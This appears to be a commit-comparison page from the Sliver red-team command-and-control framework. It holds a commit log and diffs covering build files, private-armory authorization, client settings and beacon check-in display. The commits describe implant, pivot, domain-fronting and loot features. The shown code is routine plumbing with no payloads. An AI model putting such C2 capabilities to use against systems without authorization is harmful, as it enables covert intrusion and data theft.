Compare commits

...
119 Commits
Author SHA1 Message Date
rkervella afe6c88f83 Make vim mode configurable via client settings 2022-07-15 12:18:07 -07:00
Joe 361a4e5112 Merge pull request #743 from BishopFox/go/v1.18.4
Update to Go v1.18.4 and bump grumble
2022-07-15 12:24:30 -05:00
moloch-- 4e7093671c Update to Go v1.18.4 and bump grumble 2022-07-15 09:44:52 -07:00
Joe 68b129acaa Merge pull request #740 from BishopFox/fix/shell-stderr
Support multiple `io.ReadCloser` in `transports.Tunnel`
2022-07-10 21:48:14 -05:00
rkervella e9d0f23152 Use a ReadCloser slice in transports.Tunnel 2022-07-10 11:00:38 -07:00
Joe 1099a4acb7 Merge pull request #739 from BishopFox/fix/implant-name
Fix regression from #737
2022-07-10 10:48:16 -07:00
rkervella a51c318807 Fix regression from #737 2022-07-10 09:40:09 -07:00
rkervella e7284b5880 Handle stderr for shell command 2022-07-10 09:33:42 -07:00
rkervella 0b9cf0f105 Remove raw data print 2022-07-10 09:26:43 -07:00
rkervella 8350b441ca Remove raw dump of session data 2022-07-10 09:22:04 -07:00
rkervella f5646d9975 Fix flag parsing for implant name 2022-07-10 09:15:49 -07:00
Joe ad312b517a Merge pull request #737 from Marshall-Hallenbeck/master
Allow additional characters in implant, session, and beacon names
2022-07-09 20:31:39 -07:00
Marshall Hallenbeck 253197f21a Allow for _-. characters in session & beacon names; closes #738 2022-07-09 21:24:42 -04:00
Marshall Hallenbeck 31e0ad2967 use actual util AllowedName function in server side check for #735 2022-07-09 21:06:32 -04:00
Marshall Hallenbeck f83007fe19 Allow additional characters in implant names; closes #735 2022-07-09 20:46:02 -04:00
Joe e3e5016ed0 Merge pull request #734 from BishopFox/fix/named-pipe-perms
Fix/named pipe perms
2022-07-07 18:31:52 -07:00
rkervella fb4e05617c Merge branch 'master' into fix/named-pipe-perms 2022-07-07 17:07:22 -07:00
rkervella 5a781500ee Fix [SMB Named Pipe] ACL is too restrictive on pivot named pipe #732 2022-07-07 17:05:34 -07:00
Joe fbef52a72d Merge pull request #731 from RafBishopFox/master
Adding Filtering to the Download Command
2022-07-07 15:25:49 -05:00
RafBishopFox a018ba6a11 client/download: use filepath.Base to prevent directory traversal 2022-07-07 11:18:43 -04:00
RafBishopFox fb38c6e4bb download command: Closing files after adding them to the archive 2022-07-07 10:44:15 -04:00
RafBishopFox c989e2970d Fixing protobuf for backwards compatibility 2022-07-07 10:29:33 -04:00
RafBishopFox d935bfb8b3 Adding filtering to the download command 2022-07-07 09:17:46 -04:00
Joe 814670dc6d Merge pull request #727 from RafBishopFox/master
Moving filtering functionality of ls to the implant
2022-06-23 16:23:48 -05:00
Raf 140c47e163 Merge branch 'BishopFox:master' into master 2022-06-23 12:50:53 -04:00
RafBishopFox e28b062e6c Moving ls filtering fuctionality to the implant, add item count and total size to ls output, resolve symlinks in ls output 2022-06-23 09:57:23 -04:00
moloch-- be7b723c8a Spelling fix 2022-06-21 08:24:22 -07:00
Joe 6be3ff8db2 Merge pull request #725 from BishopFox/fix/tun-handlers-errors
Add error reporting on failure for certain tunnel handlers.
2022-06-21 09:05:17 -05:00
rkervella 20520755b2 Add client side error handling 2022-06-20 20:22:43 -07:00
rkervella 0f7b6c0f35 Report errors on failure for shell and portfwd 2022-06-20 19:57:50 -07:00
Joe 0c7c2e0291 Merge pull request #724 from BishopFox/fix/alias-install-path
Fix alias installation directory for manual installs
2022-06-20 18:45:02 -05:00
rkervella 709a5fa453 Use CommandName as base directory 2022-06-20 15:23:17 -07:00
Joe 5e4ec91914 Merge pull request #722 from BishopFox/fix/execute-assembly
Fix argument parsing in execute-assembly to remove trailing spaces
2022-06-20 13:09:07 -05:00
rkervella a19ec2b348 Fix argument parsing in execute-assembly to remove trailing spaces 2022-06-20 10:24:50 -07:00
Joe 9118f7423f Merge pull request #716 from BishopFox/fix/netstack-regression
Fix regression: add back IP forwarding for wireguard tunnels.
2022-06-15 09:59:09 -05:00
rkervella c7844f57b3 Fix regression: add back IP forwarding for wireguard tunnels. 2022-06-14 18:30:59 -07:00
Joe 23eef3d15c Merge pull request #706 from BishopFox/go/v1.18.3
Go v1.18.3
2022-06-09 17:40:24 -05:00
moloch-- 22b2704259 Go v1.18.3 2022-06-09 14:20:51 -07:00
Ronan Kervella 856fbb5974 Merge pull request #705 from BishopFox/fix/beacon-download
Fix `download` and `cat` regression
2022-06-09 11:28:04 -07:00
rkervella 6cbfe64f61 Remove commented code 2022-06-09 10:20:13 -07:00
rkervella 573ec4d800 Fix download and cat regression 2022-06-09 10:18:45 -07:00
Joe 11f93ab5b2 Merge pull request #703 from BishopFox/armory/auth
Armory Auth
2022-06-07 21:55:53 -05:00
moloch-- 48a061d59e Merge branch 'master' into armory/auth 2022-06-07 18:55:09 -07:00
Joe 2b7506b393 Merge pull request #702 from r00t0v3rr1d3/r00t0v3rr1d3-domain-fronting
Enable Domain Fronting
2022-06-07 11:40:42 -05:00
Chris Shields 2620758056 Enable Domain Fronting
Allow domain fronting by taking in HTTP C2 Advanced Option "host-header". 

Reference: https://github.com/Ne0nd0g/merlin/commit/4835ac3fa73acd963f578428d1d3e75d5cbb1bab
2022-06-07 11:54:31 -04:00
moloch-- 6262266cac Rename util.Encrypt to PreludeEncrypt 2022-06-06 07:26:25 -07:00
moloch-- 37524596bb Base64 fix to default index parser 2022-06-05 18:25:07 -07:00
moloch-- 91108619f5 Init headers map 2022-06-05 15:50:02 -07:00
moloch-- 7972fce3cc Initial implementation 2022-06-05 15:38:55 -07:00
moloch-- 30c569259d Outline auth support for private armories 2022-06-04 11:51:28 -07:00
Joe 978a66bdb0 Merge pull request #699 from mrThe/packet-shell-socks-improvements
Packet handling, socks and shell improvements
2022-06-04 13:50:11 -05:00
Joe 525eda0d15 Merge pull request #700 from mrThe/beacon-stability
Fix panic on beacon session interactive mode
2022-06-04 13:40:50 -05:00
mr.The 16aa7742ba Fix panic on beacon session interactive mode 2022-06-04 18:26:51 +03:00
mr.The 754aab265e Fix namedpipe build 2022-06-04 18:13:40 +03:00
mr.The 4b2558da0c Fix io reference 2022-06-04 17:00:09 +03:00
mr.The 838db70177 Improve closed connection handling
It's okay not to close channels if it is used for writing. Close tunnels
instead.
2022-06-04 16:27:24 +03:00
mr.The 136b50645e Extract structs from implants session.go 2022-06-04 14:31:32 +03:00
mr.The 1345c5e7d1 Tun-handlers file is a way to big, decided to split into different files 2022-06-04 14:00:49 +03:00
mr.The ffb0b0e795 Improve shell handling
Now shell will be properly closed on failure
2022-06-04 13:27:21 +03:00
mr.The d7e740b50f Improve socks handling 2022-06-03 20:51:41 +03:00
mr.The bb5f42466e Improve packet reading handling
Once we know the packet sice - we need to use ReadFull function to read
the packet to be sure we reading it right
2022-06-02 19:02:52 +03:00
Joe 1d4422b465 Merge pull request #693 from BishopFox/armory/all
Added 'armory install all' option
2022-05-29 17:14:41 -05:00
moloch-- 6dfb64ab3b Added 'armory install all' option 2022-05-29 12:28:43 -07:00
Joe 524bfdb8bb Merge pull request #692 from mrThe/fix-pivots-not-synced
Fix pivots not synced
2022-05-29 11:54:33 -05:00
moloch-- 3451490918 Added lic, updated assets gitgitnore for linux/arm64 2022-05-29 09:43:21 -07:00
Joe dc65bddfbb Merge pull request #691 from mrThe/race-conditions
Race conditions fixes and stability improvements
2022-05-29 11:40:34 -05:00
mr.The ae9fc59fa2 Remove pivot listener once it stoped from the server 2022-05-29 19:16:34 +03:00
mr.The 4c7ae8de7d Fix restarting pivot listeners, so it don't panic 2022-05-29 19:14:49 +03:00
mr.The 8865eebf55 Fix tests for non debug and windows builds 2022-05-29 18:07:45 +03:00
mr.The 56c019345d Socks stability improvements 2022-05-29 16:43:05 +03:00
mr.The 1594a2a0eb Client improved tunnel handling and additional logging 2022-05-29 14:25:02 +03:00
mr.The 675723037d Implant additional debug logs and imroved tunnels handling 2022-05-29 14:23:07 +03:00
mr.The b42c615bcf Portfwd connection handling improvements 2022-05-29 14:20:14 +03:00
mr.The f7633bbb9e Fix race condition on closing tunnels 2022-05-29 14:17:30 +03:00
mr.The 2010b08228 Change mtls reader to io.ReadFull 2022-05-29 14:09:56 +03:00
mr.The d1e97e904c Improve stability for remove shells
Fixed few raceconditions and remove unnecessary code
2022-05-28 18:41:56 +03:00
mr.The 647c8ae875 Improve pivot sessions handling, avoid stucking on implant crash
Before that if we are in shell on pivoted implant and it somewhy dies -
we are stuck forever.
2022-05-28 16:05:11 +03:00
mr.The 797365da62 Add sync.Mutex for rpc-tunnel so it wont race 2022-05-28 14:16:15 +03:00
mr.The 62be36e4ce Tunnels refactoring and datarace fixes
Golang documentation mentioning it's unsafe to concurently send messages
via same tunnel, so there is a mutex and a data copy on write
2022-05-28 14:16:14 +03:00
Joe e6ebee9db6 Merge pull request #690 from BishopFox/fix/yaml
Upgrade yaml dep
2022-05-26 16:23:47 -05:00
moloch-- 9bdb54e023 Upgrade yaml dep 2022-05-26 13:18:09 -07:00
mr.The 50490790f1 Fix datarace on last checkin timestamp 2022-05-26 19:16:01 +03:00
mr.The e16b13c89c Fix datarace on error handling in beacon handler 2022-05-26 19:10:40 +03:00
Ronan Kervella 4339ea52e7 Merge pull request #687 from RafBishopFox/wghealth
Wireguard Session Health Status Fix
2022-05-24 14:42:57 +02:00
Joe f17ed1363f Merge pull request #686 from mrThe/master
Fix panic on x86 beacon startup, fix for #682
2022-05-23 17:43:50 -05:00
Joe ae1dc131d4 Merge pull request #685 from RafBishopFox/master
Beacon Interval Display Changes
2022-05-23 17:43:26 -05:00
RafBishopFox 22a503be9a Wireguard session health status fix 2022-05-23 13:14:27 -04:00
mr.The 1809bef81d Fix panic on x86 beacon startup 2022-05-23 19:31:41 +03:00
RafBishopFox e0a7ddfe17 Calculating beacon check in times server side, beacon interval display change, fix for interval calculation with beacon generation 2022-05-23 10:18:26 -04:00
Joe 65dd874eee Merge pull request #680 from BishopFox/dependabot/bundler/docs/nokogiri-1.13.6
Bump nokogiri from 1.13.4 to 1.13.6 in /docs
2022-05-18 23:22:19 -05:00
dependabot[bot] a5fd494f13 Bump nokogiri from 1.13.4 to 1.13.6 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.4 to 1.13.6.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.4...v1.13.6)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-05-19 03:40:00 +00:00
Joe 6fa4aeb780 Merge pull request #676 from BishopFox/go/v1.18.2
Go v1.18.2
2022-05-14 21:16:40 -05:00
moloch-- 4e6466f43c Go v1.18.2 2022-05-14 18:02:45 -07:00
Ronan Kervella 802ad9dded Merge pull request #675 from r00t0v3rr1d3/r00t0v3rr1d3-fix-timeout
Reduce http idle conn timeout
2022-05-11 15:53:18 -07:00
Chris Shields 11fb6a5d31 Reduce http idle conn timeout
Fixing regression issue where keep-alive packets were sent every 15 seconds using gohttp. I think this was only applied to https clients the first time as well, so now it is for both.
2022-05-11 17:24:24 -04:00
Joe dc18da51b6 Merge pull request #672 from RafBishopFox/master
UX Changes for Looting and Refactoring in the client/exec package
2022-05-04 16:35:09 -05:00
RafBishopFox a7c0a2a667 Harmonizing UX for loot across commands that support it with refactoring along the way 2022-05-04 14:48:53 -04:00
Joe e9b08e5723 Merge pull request #671 from RafBishopFox/download_loot
Add loot support to the download command
2022-05-02 14:27:19 -05:00
RafBishopFox 144fb88f74 Refactoring download and loot remote code, feature parity for download -X, various small fixes 2022-05-02 13:46:07 -04:00
RafBishopFox cb11ca6b0c Adding error checking when we can resolve the absolute path when downloading 2022-04-28 13:30:51 -04:00
RafBishopFox 708608c6f0 Adding the rest of the protobuf changes 2022-04-28 13:23:13 -04:00
RafBishopFox 4110b5bd28 Adding changes to sliver protobuf 2022-04-28 13:18:18 -04:00
RafBishopFox 73e59797d1 Standardize on use of filepath to resolve file names 2022-04-28 13:10:32 -04:00
RafBishopFox 7da3ccd876 Add loot support to the download command 2022-04-28 12:53:45 -04:00
Ronan Kervella e7452b27d5 Merge pull request #669 from RafBishopFox/master
Changing token owner to token user to display user name associated with processes in Windows
2022-04-27 12:01:13 -07:00
RafBishopFox ff503203e3 Changing token owner to token user to display user name associated with a process in Windows 2022-04-27 13:45:28 -04:00
moloch-- 8462e4415f added linux-arm64 to makefile, only specify arm64 GOARCH for no target 2022-04-26 18:22:23 -05:00
moloch-- af2f7ffc9d Organized go mod 2022-04-26 15:02:05 -05:00
moloch-- aacf2c16ac Add strategy flags to profile cmds 2022-04-18 12:40:58 -05:00
moloch-- c345731a6b Add static links to .so objs when using external CC 2022-04-17 23:47:18 -05:00
moloch-- c495377f4b Tweak CC env order 2022-04-17 20:57:29 -05:00
Joe cd5717db2a Merge pull request #664 from BishopFox/ux/strategy
Ux/strategy
2022-04-17 00:30:01 -05:00
moloch-- 1f00eec899 Remove conflicting beacon flag 2022-04-16 22:58:12 -05:00
moloch-- ef87aa91cc Append '.' to dns listener domain if missing 2022-04-16 21:29:47 -05:00
moloch-- faab1edaaf Implement connection strategy 2022-04-16 21:15:55 -05:00
Joe 6dab042c8c Merge pull request #663 from BishopFox/ux/cdc
Ux/cdc
2022-04-14 18:53:22 -05:00
Joe b116ac97c5 Merge pull request #660 from BishopFox/go/v1.18.1
Go/v1.18.1
2022-04-13 20:58:30 -05:00
moloch-- c12cbc77a7 Added linux arm64 support to builds 2022-04-13 08:25:08 -05:00
moloch-- f79e0d1845 Go v1.18.1 2022-04-13 08:11:23 -05:00
116 changed files with 4629 additions and 2479 deletions

No files matched your search

+1 -1
View File
@@ -1,4 +1,4 @@
FROM golang:1.18
FROM golang:1.18.4
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
+12 -3
View File
@@ -77,8 +77,12 @@ ifeq ($(UNAME_S),Darwin)
SED_INPLACE := sed -i ''
STATIC_TARGET := macos
endif
# If no target is specified, determine GOARCH
ifeq ($(UNAME_P),arm)
ENV += GOARCH=arm64
ifeq ($(MAKECMDGOALS), )
ENV += GOARCH=arm64
endif
endif
ifeq ($(MAKECMDGOALS), linux)
@@ -115,8 +119,13 @@ macos-arm64: clean validate-go-version
.PHONY: linux
linux: clean validate-go-version
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: linux-arm64
linux-arm64: clean validate-go-version
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: windows
windows: clean validate-go-version
+27 -3
View File
@@ -21,7 +21,9 @@ package assets
import (
"encoding/json"
"io/ioutil"
"log"
"os"
"os/exec"
"path/filepath"
)
@@ -30,8 +32,10 @@ const (
)
var (
// DefaultArmoryPublicKey - The default public key for the armory
DefaultArmoryPublicKey string
DefaultArmoryRepoURL string
// DefaultArmoryRepoURL - The default repo url for the armory
DefaultArmoryRepoURL string
defaultArmoryConfig = &ArmoryConfig{
PublicKey: DefaultArmoryPublicKey,
@@ -39,9 +43,12 @@ var (
}
)
// ArmoryConfig - The armory config file
type ArmoryConfig struct {
PublicKey string `json:"public_key"`
RepoURL string `json:"repo_url"`
PublicKey string `json:"public_key"`
RepoURL string `json:"repo_url"`
Authorization string `json:"authorization"`
AuthorizationCmd string `json:"authorization_cmd"`
}
// GetArmoriesConfig - The parsed armory config file
@@ -59,5 +66,22 @@ func GetArmoriesConfig() []*ArmoryConfig {
if err != nil {
return []*ArmoryConfig{defaultArmoryConfig}
}
for _, armoryConfig := range armoryConfigs {
if armoryConfig.AuthorizationCmd != "" {
armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
}
}
return append(armoryConfigs, defaultArmoryConfig)
}
func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
if armoryConfig.AuthorizationCmd == "" {
return ""
}
out, err := exec.Command(armoryConfig.AuthorizationCmd).CombinedOutput()
if err != nil {
log.Printf("Failed to execute authorization_cmd '%s': %v", armoryConfig.AuthorizationCmd, err)
return ""
}
return string(out)
}
+2
View File
@@ -35,6 +35,7 @@ type ClientSettings struct {
BeaconAutoResults bool `json:"beacon_autoresults"`
SmallTermWidth int `json:"small_term_width"`
AlwaysOverflow bool `json:"always_overflow"`
VimMode bool `json:"vim_mode"`
}
// LoadSettings - Load the client settings from disk
@@ -59,6 +60,7 @@ func defaultSettings() *ClientSettings {
BeaconAutoResults: true,
SmallTermWidth: 170,
AlwaysOverflow: false,
VimMode: false,
}
}
+2 -2
View File
@@ -59,9 +59,9 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
return
}
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
con.PrintInfof("Alias '%s' already exists", manifest.Name)
con.PrintInfof("Alias '%s' already exists", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
+2
View File
@@ -269,6 +269,8 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
} else {
extArgs = strings.Join(args, " ")
}
extArgs = strings.TrimSpace(extArgs)
entryPoint := aliasManifest.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
+34 -20
View File
@@ -38,12 +38,15 @@ import (
"golang.org/x/term"
)
// ArmoryIndex - Index JSON containing alias/extension/bundle information
type ArmoryIndex struct {
Aliases []*ArmoryPackage `json:"aliases"`
Extensions []*ArmoryPackage `json:"extensions"`
Bundles []*ArmoryBundle `json:"bundles"`
ArmoryConfig *assets.ArmoryConfig `json:"-"`
Aliases []*ArmoryPackage `json:"aliases"`
Extensions []*ArmoryPackage `json:"extensions"`
Bundles []*ArmoryBundle `json:"bundles"`
}
// ArmoryPackage - JSON metadata for alias or extension
type ArmoryPackage struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
@@ -53,12 +56,15 @@ type ArmoryPackage struct {
IsAlias bool `json:"-"`
}
// ArmoryBundle - A list of packages
type ArmoryBundle struct {
Name string `json:"name"`
Packages []string `json:"packages"`
}
// ArmoryHTTPConfig - Configuration for armory HTTP client
type ArmoryHTTPConfig struct {
ArmoryConfig *assets.ArmoryConfig
IgnoreCache bool
ProxyURL *url.URL
Timeout time.Duration
@@ -66,20 +72,22 @@ type ArmoryHTTPConfig struct {
}
type indexCacheEntry struct {
RepoURL string
Fetched time.Time
Index ArmoryIndex
LastErr error
ArmoryConfig *assets.ArmoryConfig
RepoURL string
Fetched time.Time
Index ArmoryIndex
LastErr error
}
type pkgCacheEntry struct {
RepoURL string
Fetched time.Time
Pkg ArmoryPackage
Sig minisign.Signature
Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest
LastErr error
ArmoryConfig *assets.ArmoryConfig
RepoURL string
Fetched time.Time
Pkg ArmoryPackage
Sig minisign.Signature
Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest
LastErr error
}
var (
@@ -395,7 +403,10 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
}
}
armoryResult := &indexCacheEntry{RepoURL: armoryConfig.RepoURL}
armoryResult := &indexCacheEntry{
ArmoryConfig: armoryConfig,
RepoURL: armoryConfig.RepoURL,
}
defer func() {
armoryResult.Fetched = time.Now()
indexCache.Store(armoryConfig.PublicKey, *armoryResult)
@@ -431,18 +442,18 @@ func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig
for _, armoryPkg := range index.Extensions {
wg.Add(1)
armoryPkg.IsAlias = false
go fetchPackageSignature(wg, armoryPkg, clientConfig)
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
}
for _, armoryPkg := range index.Aliases {
wg.Add(1)
armoryPkg.IsAlias = true
go fetchPackageSignature(wg, armoryPkg, clientConfig)
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
}
}
wg.Wait()
}
func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
defer wg.Done()
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
if ok {
@@ -452,7 +463,10 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
}
}
pkgCacheEntry := &pkgCacheEntry{RepoURL: armoryPkg.RepoURL}
pkgCacheEntry := &pkgCacheEntry{
ArmoryConfig: armoryConfig,
RepoURL: armoryPkg.RepoURL,
}
defer func() {
pkgCacheEntry.Fetched = time.Now()
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
@@ -472,7 +486,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, _, err = pkgParser(armoryPkg, true, clientConfig)
} else {
sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
+31 -6
View File
@@ -20,11 +20,13 @@ package armory
import (
"errors"
"fmt"
"io/ioutil"
"net/url"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
@@ -33,6 +35,7 @@ import (
)
var (
// ErrPackageNotFound - The package was not found
ErrPackageNotFound = errors.New("package not found")
)
@@ -45,6 +48,19 @@ func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
clientConfig := parseArmoryHTTPConfig(ctx)
refresh(clientConfig)
if name == "all" {
aliases, extensions := packagesInCache()
confirm := false
prompt := &survey.Confirm{
Message: fmt.Sprintf("Install %d aliases and %d extensions?",
len(aliases), len(extensions),
),
}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
}
err := installPackageByName(name, clientConfig, con)
if err == nil {
return
@@ -73,17 +89,26 @@ func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *con
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
aliases, extensions := packagesInCache()
for _, alias := range aliases {
if alias.CommandName == name {
if alias.CommandName == name || name == "all" {
installAlias(alias, clientConfig, con)
return nil
if name != "all" {
return nil
}
}
}
for _, ext := range extensions {
if ext.CommandName == name {
if ext.CommandName == name || name == "all" {
installExtension(ext, clientConfig, con)
return nil
if name != "all" {
return nil
}
}
}
if name == "all" {
con.Printf("\n")
con.PrintInfof("All packages installed\n")
return nil
}
return ErrPackageNotFound
}
@@ -120,7 +145,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
}
if err != nil {
return err
@@ -238,7 +263,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
}
if err != nil {
return err
+45 -13
View File
@@ -58,13 +58,13 @@ const (
)
type armoryIndexResponse struct {
Minisig string `json:"minisig"` // Minisig
ArmoryIndex string `json:"armory_index"` // Base64 String
Minisig string `json:"minisig"` // Minisig (Base64)
ArmoryIndex string `json:"armory_index"` // Index JSON (Base64)
}
type armoryPkgResponse struct {
Minisig string `json:"minisig"` // Minisig
TarGzURL string `json:"tar_gz_url"`
Minisig string `json:"minisig"` // Minisig (Base64)
TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
}
//
@@ -80,7 +80,19 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryConfig.RepoURL)
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
return nil, err
}
req := &http.Request{
Method: http.MethodGet,
URL: repoURL,
Header: map[string][]string{},
}
if armoryConfig.Authorization != "" {
req.Header.Set("Authorization", armoryConfig.Authorization)
}
resp, err := client.Do(req)
if err != nil {
return nil, err
}
@@ -92,20 +104,28 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
if resp.StatusCode != http.StatusOK {
return nil, errors.New("api returned non-200 status code")
}
index := &armoryIndexResponse{}
err = json.Unmarshal(body, index)
indexResp := &armoryIndexResponse{}
err = json.Unmarshal(body, indexResp)
if err != nil {
return nil, err
}
armoryIndexData, err := base64.StdEncoding.DecodeString(indexResp.ArmoryIndex)
if err != nil {
return nil, err
}
armoryIndexSigData, err := base64.StdEncoding.DecodeString(indexResp.Minisig)
if err != nil {
return nil, err
}
// Verify index is signed by trusted key
valid := minisign.Verify(publicKey, []byte(index.ArmoryIndex), []byte(index.ArmoryIndex))
valid := minisign.Verify(publicKey, armoryIndexData, armoryIndexSigData)
if !valid {
return nil, errors.New("invalid signature")
return nil, errors.New("index has invalid signature")
}
armoryIndex := &ArmoryIndex{}
armoryIndexData, err := base64.StdEncoding.DecodeString(index.ArmoryIndex)
armoryIndex := &ArmoryIndex{ArmoryConfig: armoryConfig}
if err != nil {
return nil, err
}
@@ -117,7 +137,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
}
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
if err != nil {
@@ -125,7 +145,19 @@ func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryPkg.RepoURL)
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
return nil, nil, err
}
req := &http.Request{
Method: http.MethodGet,
URL: repoURL,
Header: map[string][]string{},
}
if armoryConfig.Authorization != "" {
req.Header.Set("Authorization", armoryConfig.Authorization)
}
resp, err := client.Do(req)
if err != nil {
return nil, nil, err
}
+29 -6
View File
@@ -142,17 +142,40 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
}
nextCheckin := time.Unix(beacon.NextCheckin, 0)
nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
var next string
var interval string
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
past := time.Since(nextCheckin)
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
if con.Settings.SmallTermWidth < width {
interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
} else {
interval = time.Since(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
} else {
eta := time.Until(nextCheckin)
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
if con.Settings.SmallTermWidth < width {
interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
} else {
interval = time.Until(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
}
// We need a slice of strings so we can apply filters
var rowEntries []string
/*
Round the duration to the nearest second to be more output friendly.
We deal in seconds for everything, so it makes sense to show outputs
in seconds to remain consistent.
*/
timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
if con.Settings.SmallTermWidth < width {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
